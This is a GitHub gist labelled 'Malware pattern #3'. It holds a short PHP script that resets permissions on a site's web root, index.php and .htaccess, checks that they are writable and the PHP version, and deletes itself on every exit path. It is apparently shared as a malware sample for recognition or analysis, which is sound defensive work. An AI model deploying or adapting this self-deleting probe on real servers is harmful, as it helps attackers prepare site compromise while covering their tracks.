Created
April 6, 2017 08:51
-
-
Save PalmaSolutions/dd5a78dd9a0107fdbe35e733af99168a to your computer and use it in GitHub Desktop.
Malware pattern #3
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
chmod(get_root_path(), 0755); | |
chmod(get_root_path().'/index.php', 0644); | |
chmod(get_root_path().'/.htaccess', 0644); | |
if (file_exists(get_root_path().'/index.php') && !is_writable(get_root_path().'/index.php') || file_exists(get_root_path().'/.htaccess') && !is_writable(get_root_path().'/.htaccess')) | |
{ | |
fail_reason('Index.php or .htaccess isn\'t writable'); | |
} | |
if (version_compare(PHP_VERSION, '5.0.0', '<')) | |
{ | |
fail_reason('PHP 4'); | |
} | |
fail_reason('Success!'); | |
function get_root_path() | |
{ | |
$localpath=getenv("SCRIPT_NAME");$absolutepath=str_replace('\\', '/', getenv("SCRIPT_FILENAME"));$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); | |
return $root_path; | |
} | |
function fail_reason($reason) | |
{ | |
unlink(__FILE__); | |
die($reason); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment